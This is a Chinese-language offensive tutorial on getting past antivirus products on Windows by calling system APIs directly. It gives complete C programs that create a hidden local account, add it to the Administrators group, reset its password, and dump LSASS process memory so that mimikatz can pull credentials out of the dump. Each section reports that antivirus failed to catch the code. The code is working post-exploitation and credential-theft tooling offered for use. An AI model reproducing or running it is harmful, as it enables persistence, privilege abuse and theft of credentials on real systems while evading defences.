1. 账号操作

我们知道如果在有杀软的情况下,你想去创建一个账号的话杀软基本上都会拦截的,这个时候我们就需要绕过杀软来进行相关的操作,这里面有一种思路就是利用Windows API来创建、修改账号或管理员组的信息。
image.png

1.1 创建账号

1.1.1 NetUserAdd API基础

这里面我们涉及一个API和相关的函数结构:

  1. NetUserAdd函数
  2. USER_INFO_1结构

直接来演示吧,下面是Windows 创建账号相关的API,主要是NetUserAdd,其相关的链接为:

  1. https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd

相关的数据结构为:

  1. NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  2. LPCWSTR servername,
  3. DWORD level,
  4. LPBYTE buf,
  5. LPDWORD parm_err
  6. );
  1. 我们主要关注其level,我们主要关注的为level1,相关的级别如下:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/12498619/1634091840176-d89bb51a-515e-4c46-9ef6-cc09228023b8.png#clientId=u29d55d23-4cb8-4&from=paste&id=u8f429660&margin=%5Bobject%20Object%5D&name=image.png&originHeight=608&originWidth=1030&originalType=binary&ratio=1&size=60560&status=done&style=none&taskId=uca5f9cc4-1d77-4b54-b1f0-8df4a776968)<br />详细可参考这个API,相关链接为:
  1. https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-user_info_1

其level=1时,其USER_INFO_1的结构为:

  1. typedef struct _USER_INFO_1 {
  2. LPWSTR usri1_name;
  3. LPWSTR usri1_password;
  4. DWORD usri1_password_age;
  5. DWORD usri1_priv;
  6. LPWSTR usri1_home_dir;
  7. LPWSTR usri1_comment;
  8. DWORD usri1_flags;
  9. LPWSTR usri1_script_path;
  10. } USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;

1.1.2 代码实现

相关的代码如下所示:

  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <lm.h>
  4. #pragma comment(lib,"netapi32")
  5. int Usage(wchar_t*);
  6. int wmain(int argc, wchar_t* argv[])
  7. {
  8. // 定义USER_INFO_1结构体
  9. USER_INFO_1 user1;
  10. DWORD dwError = 0;
  11. user1.usri1_name = L"test"; // 账户
  12. user1.usri1_password = L"1"; // 密码
  13. user1.usri1_priv = USER_PRIV_USER;
  14. user1.usri1_home_dir = NULL;
  15. user1.usri1_comment = NULL;
  16. user1.usri1_flags = UF_SCRIPT;
  17. user1.usri1_script_path = NULL;
  18. //利用NetUserAdd函数创建用户
  19. NetUserAdd(NULL, 1, (LPBYTE)&user1, &dwError);
  20. return 0;
  21. }

可以看到代码其实就两个部分:

  1. 1.利用NetUserAdd API创建用户
  2. 2.定义USER_INFO_1结构体,指定账号信息(账号名、密码、账号类型等)

1.1.3 效果

直接运行
image.png
静态不查杀:
image.png
image.png
动态运行代码,也可成功运行,但是杀软并没有拦截:
image.png
看一下结果,账号成功创建:
image.png

1.2 增加到管理员组

1.2.1 NetLocalGroupAddMembers API基础

这里面使用的API为NetLocalGroupAddMembers,详细为:

  1. https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers
  1. 相关的语法为:
  1. NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
  2. LPCWSTR servername,
  3. LPCWSTR groupname,
  4. DWORD level,
  5. LPBYTE buf,
  6. DWORD totalentries
  7. );

这里面我们主要关注level,其level为3时表示回呀到本地组中:
image.png
看一下这个LOCALGRUP_MEMBERS_INFO_3的结构:

  1. https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-localgroup_members_info_3
  1. typedef struct _LOCALGROUP_MEMBERS_INFO_3 {
  2. LPWSTR lgrmi3_domainandname;
  3. } LOCALGROUP_MEMBERS_INFO_3, *PLOCALGROUP_MEMBERS_INFO_3, *LPLOCALGROUP_MEMBERS_INFO_3;

这里面主要是指定用户名:
image.png

1.2.2 实现

先看一下test用户并没有在任何的本地组中,我们想把其加到管理员组中:
image.png
代码实现为:

  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <lm.h>
  4. #pragma comment(lib,"netapi32")
  5. int Usage(wchar_t*);
  6. int wmain(int argc, wchar_t* argv[])
  7. {
  8. // 定义LOCALGROUP_MEMBERS_INFO_3结构
  9. LOCALGROUP_MEMBERS_INFO_3 account;
  10. account.lgrmi3_domainandname = L"test";
  11. // 利用NetLocalGroupAddMembers API将用户到administrators组
  12. NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
  13. return 0;
  14. }

1.2.3 效果

这里面我们直接运行,可以看到360和火绒并没有拦截:
image.png
再看一下效果,test账号已经被加入到管理员组中了:
image.png

2. 修改密码

2.1 NetUserSetInfo API基础

主要利用的API为netusersetinfo

  1. https://docs.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netusersetinfo?redirectedfrom=MSDN

相关的语法为:

  1. NET_API_STATUS NET_API_FUNCTION NetUserSetInfo(
  2. LPCWSTR servername,
  3. LPCWSTR username,
  4. DWORD level,
  5. LPBYTE buf,
  6. LPDWORD parm_err
  7. );

其主要是指定Level 为1003,其代表修改密码:
image.png 1003的结构为:

  1. https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-user_info_1003

image.png

2.2 代码实现

相关的实现代码为:

  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <lm.h>
  4. #pragma comment(lib,"netapi32")
  5. int Usage(wchar_t*);
  6. int wmain(int argc, wchar_t* argv[])
  7. {
  8. // 定义USER_INFO_1003结构体
  9. USER_INFO_1003 user1;
  10. user1.usri1003_password = L"1";
  11. //利用NetUserSetInfo函数设置用户信息
  12. NetUserSetInfo(NULL, L"test",1003, (LPBYTE)&user1, NULL);
  13. }

2.3 效果

可过杀软动态和静态查杀:
image.png
密码成功修改:
image.png

3. Dump lsass内存数据

目前ProcDump程序已经被360拦截,无法利用这种方式进行dump内存,因此我们可以考虑直接调用Windows API来实现Dump内存的目的。
image.png

3.1 MiniDumpWriteDump API基础

该API相关说明链接如下:

  1. https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump

其数据结构如下所示:

  1. BOOL MiniDumpWriteDump(
  2. [in] HANDLE hProcess,
  3. [in] DWORD ProcessId,
  4. [in] HANDLE hFile,
  5. [in] MINIDUMP_TYPE DumpType,
  6. [in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
  7. [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  8. [in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam
  9. );

3.2 代码

  1. #include <windows.h>
  2. #include <DbgHelp.h>
  3. #include <iostream>
  4. #include <TlHelp32.h>
  5. #pragma comment( lib, "Dbghelp.lib" )
  6. using namespace std;
  7. int main() {
  8. DWORD lsassPID = 0;
  9. HANDLE lsassHandle = NULL;
  10. HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  11. HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  12. PROCESSENTRY32 processEntry = {};
  13. processEntry.dwSize = sizeof(PROCESSENTRY32);
  14. LPCWSTR processName = L"";
  15. if (Process32First(snapshot, &processEntry)) {
  16. while (_wcsicmp(processName, L"lsass.exe") != 0) {
  17. Process32Next(snapshot, &processEntry);
  18. processName = processEntry.szExeFile;
  19. lsassPID = processEntry.th32ProcessID;
  20. }
  21. wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
  22. }
  23. lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
  24. BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
  25. if (isDumped) {
  26. cout << "[+] lsass dumped successfully!" << endl;
  27. }
  28. return 0;
  29. }

3.3 效果

直接以64位进行编译
image.png
可以看到其已经Dump lsass内存数据成功
image.png
并且杀软全开:
image.png
然后直接使用mimikatz来进行分析就可以dump内存了。

4. referers

  1. NetUserAdd-创建用户
  2. https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd
  3. NetLocalGroupAddMembers 用户组操作
  4. https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers
  5. NetUserSetInfo-修改用户信息
  6. https://docs.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netusersetinfo?redirectedfrom=MSDN
  7. MiniDumpWriteDump
  8. https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump